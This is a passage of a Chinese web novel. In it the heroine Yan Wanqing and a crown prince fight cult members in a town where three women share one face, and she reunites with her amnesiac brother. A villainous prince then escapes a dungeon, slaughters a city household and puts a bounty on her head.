原本地上躺着哀嚎的各位壮汉,哗啦啦全部起身,像是打了鸡血一般冲向了燕晚清和萧苹风。 有了金钱地位的加持,战斗力比之前提升了一根小拇指。 为了尊重他们的这种勇气可嘉,燕晚清直接丢了扇子,开始用拳头…… 付明月的耳边全都是哀嚎声还有那拳头和血肉碰撞的声音。 这个外乡的女人,真不是人,竟然拳拳见肉! 太狠了! 眼看着燕晚清越打越兴奋,还抢了萧苹风手里几个人,成功将屋内所有的壮汉变成了猪头后,她将目光落在了付明月身上。 “你干什么!你敢!”付明月慌了,她用双手捂住自己的脸:“伸手不打笑脸人,打人不打脸!” “啊——”随着一声尖叫。 燕晚清面无表情的收回了拳头。 “都说了打人不打脸!”付明月捂着肿脸从地上起来,面部已经有了明显的褶皱,一看便是人皮面具。 “我可没答应你。”打人不打脸,那就失去了她不用武器的快乐了。 感受着身上的热汗。 燕晚清松了松胫骨:“今天这一架打的真舒服,晚上可以睡个整觉了。” 付明月听完羞愧难当。 这两个人合着跑过来治疗失眠来了?! 简直是没有把她付明月放在眼里。 “你们,你们俩摊上大事儿了!”付明月口齿不清的骂道:“我付明月告诉你们,你们休想活着走出明月镇!” “凭你?”燕晚清当着她的面揉了揉自己的拳头。 付明月往后缩了一下。 燕晚清挑眉,环顾四周:“还是凭你们?” 就这群战斗渣渣,还想留下他们二人的性命?!不是她燕晚清狂妄自大,只能说在座的都是垃圾。 付明月咬了咬牙,好汉不吃眼前亏:“说吧,你们俩来明月楼想要干什么。” “你不知道我们干什么,就让人揍我们?”这多少有点武断了,燕晚清看向萧苹风:“这事儿搁我我忍不了。” 萧苹风面无表情:“……”说的好像你忍了一样。 地上的伤员都是证据。 “不过是想找那沈淑云说两句话而已。” 付明月十分警惕的看着他们二人:“你们是什么人,要找她?” “外乡人啊。”燕晚清有点不耐烦,拳头捏的咯嘣响:“不明显吗?” 他们的服饰,每一寸皮肤都在喧嚣他们不是本地人。 付明月听着她欠抽的语气,咬咬牙,安慰自己好女不跟恶女斗,吃得眼前亏,方为人上人……小不忍则乱大谋。 想明白后,她挤出一抹微笑,却拉到肿胀的半边脸的伤口,将本就岌岌可危的人皮面具给扯了大半。 付明月露出了庐山真面目。 “哇哦。”燕晚清吹了个口哨。 付明月:“……” “你和阿彪玩的挺花啊,大马路牙子上玩强抢民女那套。”燕晚清像是突然想通之后,满脸嫌弃的说道。 付明月和沈淑云有着一张一模一样的脸。 精准到眼角的泪痣都是一个位置。 付明月赶紧用手捂住自己的另外一张脸,眼里闪过慌乱:“你胡说八道什么!” “你们两个外乡人,没什么事情就赶紧离开明月镇吧,就当我大发善心放你们一马。”付明月变了说辞。 “你刚还说让我们活着走不出去明月镇。”萧苹风善意的在旁边提醒。 付明月咬牙切齿:“我反悔了行不行!”大可不必记性这么好。 “不行。”燕晚清懒散的说道,双手环臂:“你知道有句话叫做请佛容易送佛难,更何况我现在对你很感兴趣。” “?”对她很感兴趣?付明月眼神惊悚,这个死女人要不要玩的这么bt啊! 萧苹风冷冷的眼神扫过来,燕晚清没说清楚自知理亏,干咳一声:“……的脸。” 这有家室了,出门在外还是得注意一下,不能胡说八道。 她在心中暗暗记下。 不然回头还要她自己去哄。 得不偿失。 萧苹风听她补完这两个字之后,才缓缓收回了冰凉的眼神。 付明月则是用双手捂紧自己的脸:“不干你们的事情,不要多管闲事!” “你是自己说出来,还……”燕晚清扬了扬手,在空中缓缓握成一个拳头,明目张胆的威胁:“还是让我屈打成招?” “……我说。”付明月选择了妥协。 半盏茶后。 三个人到了僻静的屋子里。 屋内设施很是精致,一看便是女子的闺房。 付明月眼神阴翳扫了他们二人一眼,然后朝着内屋走去:“你们俩过来一看,便知道真相了。” 燕晚清凑近,只见付明月缓缓拉开帷幔—— “小心!”萧苹风疾呼出声。 从帷幔中猛地射出来三支冷箭,燕晚清下意识闪身躲过,三只冷箭从她原来的位置过去,最后刺入了墙体。 “没事吧。”萧苹风惊魂甫定,上前上下打量。 燕晚清点头:“无事,去看付明月!” 她朝着原本帷幔的地方,已经没有了付明月的踪影。 萧苹风沉声说道:“刚刚,她就已经跳入地道逃走了。” “真是防不胜防。”燕晚清再次走到了帷幔的周围,这次没有冷箭了,地面很是平整根本看不到地道口的痕迹。 “肯定是有开关,只是找起来需要费点功夫。”燕晚清双手在四周摸了起来。 萧苹风也过来帮忙。 但是很快。 “你过来。”他说道。 燕晚清见他站在床榻边上,双眼直勾勾的盯着。 她赶紧走过去,这才看见层层帷幔之下竟然躺着一个人,这个人竟然跟沈淑云和付明月有着同一张脸! 只是她双眼紧闭,看起来了无生气。 “看她身上的穿着打扮,应该是富贵人家,又特意将寒玉塞进下颚,十有**,这是一躯尸体。”萧苹风一字一句的说道。 燕晚清认真端详面前人的容貌。 细致看还是能够看出些许差别的。 眼前的这个女子更为的精致漂亮,周身气质也和付明月沈淑云不一样。 “她看起来栩栩如生。”燕晚清伸出手想要摸一下她鼻间的呼吸。 但是奇妙的事情发生了。 她的手竟然直接穿了过去! 整个床榻之上根本就没有人! 既然没有人,那么如此美丽的女子又是如何出现在他们的眼前的? 燕晚清和萧苹风对视一眼,看到了彼此眼中的惊讶以及更多的是……浓郁的兴趣。 明月镇,明月香,三个同一张脸的女子,以及身上有光明神教图腾的阿彪。 一切的一切,都仿佛被迷雾包围。 吸引着他们不断的想要去探究出真相。 “这个小镇,处处都透着诡异。” 燕晚清看着床榻上的女子缓缓说道:“你发现没,这里没有看见过老人。” 从他们进小镇开始,一个上了年纪的人都没有。 “也没有小孩。”萧苹风补充道。 一个没有老人和小孩的小镇,就像是一个没有结束和开始。 它,究竟是如何繁衍生息的? 夜色越来越浓重。 天边的一轮圆月越发圣洁,圣洁到近乎妖异起来。 第二百五十三章 露水情缘,少多管闲事 付明月地道逃跑之后,燕晚清和萧蘋风没有再继续追踪下去,而是直接在明月香找了两个上等房歇息了。 为什么是两间? 萧蘋风对此颇有微词。 燕晚清拍了拍他的肩膀。 “凡事不要做的这么严谨,我们什么机会都不给他们,这趟明月香不就白来了吗?” 倒也没有白来。 迫于两个人刚刚在楼下大打出手的表现,以及那沉甸甸的银袋子,明月香的姑娘们还是很殷勤的往着两位的屋子里跑的。 这歌舞升平,琴瑟鼓吹,又有美人美酒作陪,很快月便上了柳梢头,燕晚清趴在桌子上一动不动,显然是睡意酣畅了。 又过了一会儿。 旁边桌子上的红衣美人揉着眉醉醺醺的起身,她用柔荑推了推旁边的燕晚清。 “客官?客官!” 燕晚清恍若一头死猪,动也不动,满身的酒气熏的那美人瞬间皱起了眉头。 “真能喝!”地上铺满了酒瓶,没地方下脚的那种! 此时红衣美人面上的醉意已经消散干净,她心里有些不放心,又伸出手放到了燕晚清鼻子旁,然后捏住了。 燕晚清先是没有反应,过了一会儿可能是胸腔内的空气消耗殆尽,她抬手便拍在红衣美人的手背上。 只听见“啪——!”的一声清脆响声。 红衣美人倒吸一口凉气,猛的收回手放在自己唇边开始吹。 疼完之后她反手就想要给燕晚清一巴掌,抬起的手在空中停顿了一下,她又放了回去。 给人打醒了怎么办? 酒鬼最难缠。 红衣美人站起身,用脚尖踢了踢旁边的几个美人,没有一个是有反应的。 她冷哼一声:“没用的东西,这点酒就给你们喝趴了。” 看来往后教徒里面得多招揽一些酒量好的。 红衣美人抬手将面部绷的很紧的人皮面具扯了下来,露出庐山真面,分明就是下午逃走的付明月。 她的右边面颊上还有一处红肿,是下午燕晚清打的。 付明月想到这里就气不打一处来。 她拍了拍手。 又拍了拍。 拍了三下有节奏的巴掌。 门从外面被推开。 “隔壁如何?”付明月看着面前的阿彪问道。 阿彪表情冷酷,白日里的铁汉憨态已经消散殆尽。 “一样。”惜字如金。 付明月嗯了一声:“那个男的你给我留着。” 阿彪一听这话便知道她的心里打的是什么主意。 “那个男的可是大渭的太子,你可不要给教主惹事。”阿彪冷笑一声。 付明月丝毫没有被吓到,她朝着阿彪走近了一步:“你我身为光明神教的左右护法,平起平坐,你有什么资格来教训我?” “再说了,尝过我付明月滋味的男子,哪个没有拜倒在我石榴裙下?”她意有所指说道。 阿彪脸色瞬间铁青。 “我也是为了练功滋补,那大渭太子一身深厚的内力,若是能为我所用,对于我们光明神教来说那可是大功一件,阿彪,希望你不要有太多的个人情绪。”付明月单手托着自己的面颊,眼神妖媚的说道。 阿彪知她向来沉迷男色,那大渭太子又是上人之姿色,对于她来说更是如获至宝。 “随你!”阿彪重重的丢下这句话,然后走到了桌子边上,将燕晚清一把薅到了背上,路过付明月的时候,他又开口道:“你别以为你顶着这张和那位如出一辙的脸,就能为所欲为,教主已经对你没什么耐心了,沈淑云的出现就是最好的说明。” 说到沈淑云,付明月的脸色瞬间阴沉下来。 “用不着你提醒我!”她冷声呵斥道。 那沈淑云是个什么货色,眼下已经在她的手里了,还不是随随便便就能捏死。 阿彪看到了付明月眼里的杀意,提醒道:“他对于教主来说是特别的,希望你心里有点数,好自为之。” 话说到这种程度,剩下的路那就是付明月自己的选择了。 阿彪觉得自己已经仁至义尽。 对于那晚的露水情缘,他已经给到了善意提醒。 但是此时的付明月是听不进去的。 阿彪背着燕晚清朝着外面走去。 付明月看着他们的背影,双手捏着裙摆狠狠的撕出一道口子。 听着布料破碎的声音,她心里才舒坦了一点。 从袖口掏出一面小铜镜,她仔仔细细的看了看自己的脸,很美。 可是这个世上有两个人和她用着同一张脸。 想到这里付明月就觉得恶心。 她将镜子随处丢在了地上。 来到了萧蘋风的门外……… 燕晚清在阿彪的背上被左甩右甩,用了半生的勇气和耐力才忍住没有直接吐出来。 靠着自己钢铁一般的意志,她倒挂在阿彪宽广的背上,记住了所有的路线,然后放心的晕了过去。 晕过去之前她迷迷糊糊的想。 要是萧蘋风真的和付明月那什么什么了,她就给他咔嚓掉……… 这回终于要见到光明神教的中心人物了。 燕晚清醒过来的时间,耳畔有茶盖轻刮杯子的声音。 茶水和茶盖之间的叮咚作响,很轻,让人很安心。 安心到她有一瞬间觉得自己回到了父兄秭妹之间。 睁开眼睛。 她看见了燕黎安。 “醒了就过来尝尝我的茶。”他头也不抬的说道。 燕晚清坐直身子,揉了揉自己的双眼,也不扭捏直接走到了他的旁边。 “好茶。”她端着茶杯放在鼻间轻嗅。 燕黎安什么都好,唯独泡不出好茶。 眼下这碗茶,茶色浑浊不够清亮,茶香浓郁却略显红尘,着实白瞎这么好的茶叶。 燕黎安看着她眼皮不眨的撒谎,双手放下:“你来吧。” 燕晚清却之不恭的接过他手里的茶具:“那小妹便给兄长沏个茶喝喝,顺便再好好的聊聊咱们的光明神教。” 听到光明神教几个字,燕黎安眼里闪过了深意:“果真是不能小瞧了你,安平郡主。” 听到燕黎安喊自己郡主,燕晚清眼里还是有些许暗淡的。 看来兄长还是没有恢复记忆。 “圣子,咱们彼此彼此。”燕晚清弯着眉眼,直勾勾的看向燕黎安:“都是千年的狐狸,咱们谁也别笑谁。” “西凉城不告而别,兄长让我好生伤心啊。” 本站网站:et 第二百五十四章 初代圣女,玩的出格 燕黎安这些时日,一直在暗中调查脑海中那些莫名其妙出现的片段。 他总觉得这些片段,很重要。 片段里还总是出现一个自己很熟悉,却始终想不起来眼睛的妙龄女子。 依稀能够从画面中看到那女子穿桃红色罗裙的时候,特别的好看。 唇红齿白,巴掌小脸,玲珑玉鼻……每一处都长得恰到好处,唯一遗憾的是,双眸的地方,始终是被一层雾气层层叠叠遮盖住。 燕黎安太好奇了。 所以才会冒险提前动手。 冒充教主下令,让阿彪将燕晚清抓了过来。 “一直都有个问题想要请教你,为何你我第一次见面便那般熟稔……”燕黎安缓缓开口:“寻常女子并不会像你这样大胆,第一次跟陌生男子见面便喊兄长的。” 倘若燕晚清对他别有企图,这还说得过去。 可是她看向自己的眼神清澈见底,分明就是将自己当做了真正的兄长来对待。 “并不是第一次见面,咱们第一次见面的时候你射了我一枚暗器。”燕晚清点了点自己的胸口:“伤疤还在呢。” 这笔账,她还记着呢。 往后燕黎安要是恢复了记忆,她可是要连本带利的讨回来的。 说到这个,燕黎安眼神里闪过了不自然。 原本以为她不记得,所以便故意没有提起。 倘若是这样,她接近自己究竟是为了什么? “兄长有今日这一问,一定是想起来不少跟现在无关的东西了。”燕晚清看他瞳孔中不算的闪烁着迷惘和疑惑,和初见面时的冷血无情很不一样。 看来自己这一套死缠烂打不要脸的法子,还是有点作用的。 燕黎安没吭声。 燕晚清便知道自己说中了。 心中一喜。 她从怀中掏出了一枚玉佩。 是一个圆形的玉佩,在烛光的映衬下闪烁着温润的光泽,一看便是被主人十分爱惜的保存着。 上面没有过多的装饰,简单的用红绳串联着,上面刻着“燕”字。 这枚玉佩一出现,燕黎安脑子骤然像是被铁锤戳了一下,眼见着面色白了几分。 只觉得眼前铺天盖地的喊声一闪而过,漫天都是血色还有哀嚎。 “大哥?大哥你没事吧!”燕晚清见他精神恍惚,唇色都无,赶紧上前推了推他的肩膀。 燕黎安抬手制止:“无碍……只是突然冒出来一些不太好的片段。” “什么片段?”燕晚清着急的问道。 燕黎安皱着眉头:“血……还有很多死人。” 听到这里,燕晚清眼中都是沉痛。 那些画面,她知道是因为什么。 如今大哥所遭受的痛苦,与光明神教脱不了干系,与整个大渭王朝也脱不了干系! 他们欠她燕家的,终有一日要用血肉来偿还! 燕晚清周身一闪而过的戾气,没有躲过燕黎安的察觉。 他摩挲了一下杯盏边缘:“现在可以跟我好好说说,这一切究竟是因为什么吗?” 燕晚清收敛心神,她双眸恳切,表情认真。 此时必须用十二万分的态度来对待这件事情,一旦哪个环节兄长不信或者和之前的对不上,那么按照她对于大哥的了解,往后她再说什么,他都不会信任。 “你姓燕,名黎安。京都镇国府邸嫡长子,这些你都可以查到,你的画像在宗祠中有记载,八岁便随父镇国公挂帅出征,十岁已经可以独立带兵作战,是我们所有人的骄傲……”燕晚清缓缓道来,她将燕家所有人的情况都说了一遍,然后讲到了雁门关:“……此战谁都没有想到会打的这么艰难,乃至最后你们所有人都……” 这是燕晚清第一次讲述这件事情,因为面对的是大哥,所以她红了眼圈,噤了声。 燕黎安伸出手安抚性的拍了拍她的头。 等拍完之后,他才意识到自己的动作十分熟稔,就像是做过千万次一样。 刚要抽回,燕晚清却突然抓住了他的手放在了面部。 只见她周身颤抖,将自己的脸死死的捂在他的手掌内,很快掌心便温热起来。 她哭了。 燕黎安虽然还没有想起来这一切,可是心口却止不住的跟着沉痛起来。 “……别哭。” 燕晚清身子轻颤一下,她沉默了片刻,然后抬起头来,用手背擦拭了一下眼角的晶莹。 声音还带着沙哑:“好……让大哥见笑了。” “一家人说什么——”见笑不见笑的。 燕黎安话说一半,停住了嘴。 他感觉刚刚心里的沉痛被一阵陌生的感觉所占据。 燕晚清勾起红唇笑了笑:“没事啊大哥,慢慢来,你活着回来对于我来说就是最好的消息,别的就不指望了……等这次事情结束后,咱们一起回京,母亲见到你一定会特别高兴的。” “……母亲?”燕黎安呢喃:“她还好吗?” 出于本能,他问道。 燕晚清点点头:“……她很坚强。” 剩下的话,都被咽进了肚子里。 燕孙两家十四口棺材抬进京都的那一刻开始,没有一个人是好的。 燕晚清强行将自己抽离出悲痛的情感,她不能再浪费时间了,她要知道光明神教究竟在下一盘怎样庞大的棋局。 “大哥还记得自己是如何成为圣子的吗?”她问道。 燕黎安摇了摇头:“醒来之后,所有人都是这么喊的,似乎是从我出生开始就是圣子。” “但是大哥并没有小时候的记忆不是吗?”燕晚清将桌子上的玉佩往他那边推了推:“这个就是最好的证据,娘亲亲手给我们编织的红绳。” 燕黎安将玉佩捏在掌心里,刚刚那股子感觉不到又出来了。 不可置否,他相信了燕晚清的话。 “付明月和沈淑云为什么长了同一张脸?”燕晚清继续问道:“不止,还有一个昏迷的女子也是那张脸。” 不过三个人的气质是天壤之别的。 昏迷的女子周身都散发着舒服的气息,就像是森林里的小鹿一样灵动,哪怕看不到那双眼睛,依然可以感觉到她的善良与纯真。 沈淑云则是复杂很多,有很多自己的小心思,但是很有韧性,自身淳朴就像是雨后的麻雀,倔强的生活着。 至于付明月就浑浊了很多,她很妖艳,很市侩,像是一只被很多人宠爱的孔雀,招摇跋扈。 “她们都是教主选出来的圣女。”燕黎安淡淡的说道。 燕晚清愣了一下:“那格桑呢?” “格桑死了。”燕黎安补充道:“她根本算不上是圣女,顶多是一枚棋子罢了。” “严格意义上来说,宋凝才是初代圣女。”提到格桑,燕黎安眼里都是唾弃,一个自以为是用身体做筹码的女人,到哪里都不会得到别人的尊重。 她和付明月还不一样。 付明月好歹还能当上护法,格桑则是完完全全的菟丝花,这也是为什么后来在察觉到她想要脱离的时候,就将她送给了倭寇当妃子的原因。 燕晚清何其聪明,一下子就想清楚了这里面的缘由。 想起自己在幸福小镇上初见格桑,她满眼都是萧蘋风的时候,心里说不清楚是什么滋味。 “沈淑云的出现是为了取代付明月么?”燕晚清收回心神继续问道。 不可能同时出现三张一模一样的面容,光明神教的教主不能玩的这么出格吧。 本站网站:et 第二百五十五章 时间还早,我们一起等 “你真的很聪明。”燕黎安丝毫不吝啬的夸赞道,与此同时心中升腾起一股子自豪感。 果然是他的妹妹。 这脑子就是转的快! 燕晚清摸了摸后脑勺:“因为大哥给的线索很多。” “付明月存了不该存的心思,所以才会有沈淑云的出现,但是最终会留下谁,还要看她们各自的手段。”燕黎安意有所指的说道。 燕晚清眯了眯眼睛,回想和沈淑云见面的画面:“付明月不会是沈淑云的对手。” “确实,那个看起来很胆小的人,其实才是藏得最深的,可惜现在付明月看不明白罢了。”燕黎安缓缓开口,突然想到了一件事情:“跟你一起来明月镇的人,和你是什么关系?” 看着他们勾肩搭背,姿态亲昵。 燕黎安心里说不清楚什么滋味。 有一种养了很多年的白菜,突然有一天被猪给拱了的感觉。 燕晚清面颊上闪过一抹红晕,她干咳一声:“……他想娶我。” 这种事情也无需藏着掖着,大哥的死而复生对于她来说弥足珍贵,所以她不觉得需要跟大哥再去隐瞒什么。 燕黎安点了点头,问道:“你想嫁么?” 燕晚清咬着下唇:“……如果有机会的话,想。” 燕黎安面无表情:“那你得快点,付明月最喜用男子来练功,去晚了你可能就不想嫁了。” 燕晚清:“……” “还不去?”燕黎安看她还坐着,皱眉催促道。 燕晚清摇了摇头:“我信他。” 倘若连付明月都能让萧蘋风着了道,那么这个世界上阿猫阿狗都能上去踹他两脚了。 萧蘋风是何等角色? 那是连她都要敬佩三分的人。 她觉得付明月能活下来就算是不错了。 事情的发展正如燕晚清所料那样。 他们还在聊着的时候,门突然就被踹开了。 燕黎安皱着眉头看向门外。 地上被丢进来一个鼻青脸肿的女人,一身红衣分外显眼,可不就是那喜欢拿俊美男子练功的付明月? 只见她此时瘫在地上,刚想要喘口气,身上又被丢上来一个重物。 一个同样鼻青脸肿的人压在了她的身上。 是阿彪。 燕晚清抽了抽唇角:“好一个买一送一。” 萧蘋风面无表情的迈过门槛,目光在燕晚清身上扫过之后,落在了她对面的燕黎安身上,然后他冲着对方点了点头。 燕黎安:“……” 付明月和阿彪一看见圣子,就像是看见了亲爹,立刻从地上爬起来,连滚带爬的到了燕黎安身边,一左一右各自抱上一只大腿。 “救,救命啊圣子!这厮是个魔鬼!” 魔鬼? 燕晚清挑眉看向萧蘋风,他究竟对这两个人做了什么?! 萧蘋风双手环臂靠在门栏上,单脚踩在门槛上,姿态邪肆,露出一口森牙:“你们还活着。” 言下之意,留你们一条性命,就该谢天谢地了。 付明月和阿彪听罢更是哭的呼天抢地,直言还不如死了算了。 可是任凭燕黎安怎么威逼利诱,他们二人都咬死不说自己刚刚经历了如何生不如死的画面。 只是一个劲儿的求他相救。 燕黎安只好看向萧蘋风:“你想如何?” “不如何。”萧蘋风耸肩:“有事和你妹妹商量便是,我听你妹妹的。” 在一旁的燕晚清老脸一红。 燕黎安突然觉得心气更加不顺了。 偏偏萧蘋风像是没有眼力劲儿一样继续说道:“四肢健全,还能正常说话,也算是福大命大,上辈子没少积德。” 燕黎安:“……” 燕晚清立刻瞪他:“你不说话没人把你当哑巴。” 被凶了的萧蘋风立刻瘪嘴:“……好嘛,那人家不说话了。” 燕晚清面色青一阵红一阵,只感觉今日在兄长面前实在是丢脸。 “你好歹是堂堂太子殿下,怎么能做出这种姿态?”不愧是兄妹,燕黎安率先问出口,或者说是发难。 萧蘋风也不意外自己的身份被揭穿:“心驰所往,所以便顺心而为,何错之有?” 好一个洒脱浪荡子! 燕黎安眼看着自家白菜的脸又红了几分,他抬脚将付明月和阿彪这两个累赘踹到了一边去,重重的拍了一下案几。 “太子自重!” 萧蘋风忍住翻白眼的冲动:“这么多年了,你怎么还是这么迂腐沉闷的性子,当真是无趣的很!” 这话一出,燕晚清身子便轻微颤抖起来。 她憋着笑。 拜托,她大哥一点都不迂腐好吧。 眼下不过是故意针对你罢了。 不过她不说,她听大哥的。 燕黎安冷哼一声,斜视那太子殿下。 萧蘋风见状只得咬牙道歉。 没办法,谁叫他的命脉是这位的亲妹妹呢。 这要是得罪了未来的大舅子,还如何抱得美人归? 好在燕黎安也没有过分刁难。 此时见到三人的相处状态,付明月和阿彪再是脑袋不灵也知道情况不妙了。 “不好,他恢复记忆了!”付明月咬牙说道:“早就和教主说了这燕家的人留不得,他偏不信!” “你去发暗号。”阿彪低声冲着付明月说道:“我来拖延。” 本以为还有燕黎安坐镇,谁曾想敌方早已偷塔了。 “留活口。”燕晚清轻轻说道。 下一秒萧蘋风和燕黎安同时出手。 阿彪哪里是这二人的对手,一个回合都走不完,就被摁在了桌子上,而那付明月急匆匆跑出门去,从怀中掏出一个火折模样的东西就要放到天上,四肢突然僵持不能动弹了。 细看她的手脚竟然都被细小的针线穿了过去,整个人瞬间变成了提线木偶。 她不敢置信的看向后方。 “圣子!你别忘了是谁救了你的性命!” “是你,所以呢?”燕黎安面无表情的回道。 付明月被气得一噎:“……当初如果不是我把你从死人堆里扒出来,把你送到了教主面前,你哪里还有今天,你可不要忘记教主对你的信任,乃至你肩膀上背负着光明神教的重担……” “聒噪。”又是一根银线直接穿过了付明月的脖颈,瞬间让她闭了嘴,一句话再也说不出来了。 当初确实是付明月救了他。 但是这么长时间过去了,付明月用这个威胁了他不下三次。 往常那些事情他并不在意。 可是眼下今非昔比,事关他的身世背景。 又如何能够受得了付明月的威胁。 至于教主?还有光明神教? 呵呵……关他何事? 旁边的萧蘋风看着那夜色中几乎看不见的银线,忍不住咽了咽口水。 还好自己刚刚认错速度快,态度诚恳。 这大舅子要是给他来一下,还真说不准自己会如何。 此时燕晚清已经从屋内缓缓走了出来,她当着付明月取走了她手里的火折子。 放在掌心中端详,然后拿着对着夜空。 “我还真想看看,光明神教的教主的庐山真面目是什么。” 她拔掉下端的细线,火折对着天空猛地窜出一道尖锐急促的红光,紧接着消失在了天际。 面对付明月难以置信的目光,燕晚清笑的十分温柔。 “时间还早,我们一起等好不好?” 本站网站:et 第二百五十六章 取燕晚清性命者,封万户侯 昏暗的地牢里。 萧鸿深看着脑袋上的那一扇小窗户,苍白的面色上有了丝丝笑容。 那一串升在天空中的红色,让他唇角的笑容越来越大。 燕晚清……萧蘋风,你们二人加起来有八百个心眼子,天底下谁人不知? 当真就以为他萧鸿深就是酒囊饭袋吗? 光明神教的那点踪迹,不过就是故意放出去吸引他们注意力的噱头。 倘若不是这样,他今天晚上要如何出去呢? 意料之内的尖叫声在地牢外面响起。 萧鸿深听得如痴如醉,甚至打起了拍子。 这人命在最后关头发出的声音,实在是有够美妙的。 叫吧,叫吧……叫的再大声一点。 他在西凉城所受的所有屈辱,都需要鲜血来洗得干干净净。 不知道过了多久,声音终于停了下来。 萧蘋风双眸缓缓睁开。 地牢的门被人一脚踹开。 墨山一身是血的出现在了门口。 她抬起长剑一把劈开了萧鸿深身上的镣铐。 “属下来迟,请殿下恕罪。” 萧鸿深揉了揉手腕上的血痕,抬起惨白的手在窗户投射之下的月光看了看,然后猛地甩在了墨山的脸上。 他听不出情绪的开口:“知道来迟了,下次就快一点。” 墨山被打歪了脸,唇角溢出鲜血,她低着头:“属下谨记。” 萧鸿深整理了一下脏污的外袍,迈着板儿正的步伐朝着外面走去。 “起来吧,咱们去看看这外面的世界究竟都变成了怎样的一副光景。” 外面血流成河。 萧鸿深从地牢出来的时候,刚好一颗头颅滚到了他的脚边上。 那颗头颅朝上,露出一张年轻的面庞来。 是先前照顾燕晚清院子的那个丫鬟。 萧鸿深看了一眼,微微蹙眉。 身后的墨山立刻上前,抬脚将头颅踢到了一边,然后半跪在地上,用袖子给萧鸿深把鞋子上的血迹擦拭干净,但是有一块血珠已经渗透到了布鞋里面,怎么擦都擦不干净,墨山擦拭了好一会儿。 萧鸿深不耐的开口:“行了。” 他拖长了尾音,墨山眼神中闪过恐惧的神色,但是很快便消失殆尽。 她起身恭顺的站在了萧鸿深的身边。 此时的城主府内已经是死伤无数,到处都是尸体和深受重伤的下人,他们彼此拥挤在一处,敢怒不敢言。 而萧鸿深手里的那些黑衣杀手们,像是无情的木偶。 手起刀落,一个个都是无情的刽子手,将所剩无多的几个活口给送上了黄泉路。 萧鸿深心里舒爽了很多。 “纪云台那个狗东西呢?” 想到纪云台帮着燕晚清对自己下手,他就觉得浑身上下的血液都要倒流。 眼下这群人的死微不足道,他更想看到这个纪云台跪在自己的面前求饶。 “回禀主子,他此刻正在朝着城北的方向撤离。” 听到纪云台一个瘸子还能撤离,萧鸿深感觉到了不可思议:“谁在帮助他?” “一股神秘不可知的力量。”墨山谨慎的说道。 “还有你不知道的神秘力量?”萧鸿深对此冷笑。 墨山将头埋的更低。 她只是不确定。 “说说你的猜测,说错本殿恕你无罪。” “……似乎是蓬莱仙岛的人。”墨山缓缓开口:“只是他们向来与世隔绝,此次突然出手搭救纪云台,原因未可知。” “蓬莱仙岛……”萧鸿深闻所未闻,不过世界之大无奇不有,人外有人,山外有山,很快他便释然了。 “可别轻易让他给逃脱了,本殿要他的血来祭奠此次战死的英魂呢。”萧鸿深噙着一抹不怀好意的笑,缓缓说道。 这便是下了生死不论的命令。 墨山立刻挥手,那群黑衣人跟一个个黑蝙蝠似的窜出了城主府。 而此时城主府外脚步声此起彼伏。 萧鸿深听罢眼底更是阴冷。 “来的倒也不慢,刚刚好。” 城主府的门被外面用蛮力给撞开。 常千户踩着门槛刚要落下脚,便被手底下的弟兄给拉住了。 “血!” 可不都是血吗? 奋力向外求生的丫鬟们小厮们,层层叠叠纷纷倒在了大门口的方向,鲜血顺着他们年轻的身躯在青石板上四下弥漫,此时城主府门口的路上,已经没有一块可以下脚的干净地方了。 太残忍了。 常千户捏紧了手里的长剑。 愤怒让他双眼猩红:“弟兄们,杀进去,我们要替城主府报仇雪恨!” “杀——”将士们手持武器怒喊一声。 只是话音刚落。 便听见门口左边的位置传来了三声“啪——,啪——,啪——”的手掌声。 萧鸿深肩膀上披着一件外袍,站在一棵枣树下正在抚掌。 “你们要替谁报仇?” 他问道。 常千户红着眼,他自然是知道七皇子此刻应该是被关押着的,但是此时他的神态,还有他身边浑身都是鲜血的仆人。 哪怕下黑手的不是七皇子萧鸿深,那也和他脱不了干系。 “七皇子是如何从地牢里出来的?”常千户踩着泥泞的血水,一步一个血脚印走到了萧鸿深的面前。 声音从后槽牙里一个字一个字的挤了出来。 萧鸿深听罢,冷笑一声,双手也缓缓放了下来。 “常千户这是在问责本殿?”他挑眉:“跟了燕晚清几天,便不知道天高地厚了是么?来问本殿的责,你也配!” 他咋舌,身边的墨山已经缓缓拔剑。 听着剑鞘的声音。 常千户不为所动,继续又说了一句:“七皇子此刻应该呆在地牢里,等待燕帅归来。” “本殿凭什么等她燕晚清回来?”笑话! 萧鸿深简直要被面前的榆木脑袋气笑了。 好不容易让燕晚清和萧蘋风两个瘟神走出了西凉城,他觉得整个城的空气都是舒爽的。 眼下这个常宽竟然要他回地牢里,等燕晚清回来发落自己。 他歪着头,这么打量着面前的常千户。 “本殿眼下心情好,常宽,再给你最后一次机会。”他眯着眼睛:“跪在本殿的面前,高呼燕晚清通敌叛国,本殿便饶你一命。” 高呼燕帅通敌叛国? 跪可以,但是要他背叛燕晚清,这是绝无可能的。 “末将绝对不会构陷燕帅通敌叛国!”镇国公身上的污垢尚未完全洗刷干净,他常宽也不是个孬种,哪怕七皇子位高权重,他也绝对不会被权势所屈服。 大丈夫,顶天立地! 萧鸿深意料之中。 “一个个的都是倔驴。” 他没了兴致,摆了摆手。 常千户刚觉得不对劲,心生警惕,下一秒眼神瞪大看向了他身边的那个仆人。 “你——” 萧鸿深看都不看他,直接冲着大门口的将士们高声喊道:“燕晚清通敌叛国,常宽为其瞻前马后,害我大渭将士儿郎性命,本殿眼下已经诛杀常宽,尔等可有异议——!” 将士们捏着手里的长剑,紧张的面面相觑。 刚要有人拿起长剑举向天空,墨山的长剑便像是长了眼睛一样,直接投掷出去刺穿了那将士的心脏,连带着手里的长剑都无声的跌落在了地上。 此番,再无一人敢应声。 萧鸿深见状,得意的轻哼一声。 他沉声说道。 “燕晚清构陷忠良,残害西凉城城主纪云台,眼下已经逃离城中,现本殿下令全西凉通缉,取燕晚清项上人头者,封万户侯——!” 本站网站:et 第二百五十七章 泪水流干了,我还有血水 万户侯——! 多少人投身军旅就是为了出人头地,做出一番业绩出来,让曾经瞧不起自己的人看看,他们不是地痞流氓,他们也可以光宗耀祖! 眼下萧鸿深的一句万户侯,彻底吹散了原本就凝聚不起来的军心。 所有人的脑海中只剩下了这三个字。 杀了燕晚清,就能够封万户侯。 封侯是可以世袭的,往后自己就可以娶曾经想都不敢想的官宦家小姐,然后子子孙孙的世袭下去。 一切的一切,只要杀了燕晚清就可以。 他们的眼神逐渐炽热了起来。 萧鸿深见状,眼里闪过了轻蔑和阴沉。 一群不知死活的东西。 倘若不是离开西凉城还需要这群孬种,他早就将他们杀干净了。 丢下这句话之后,萧鸿深抬脚朝着门口走去。 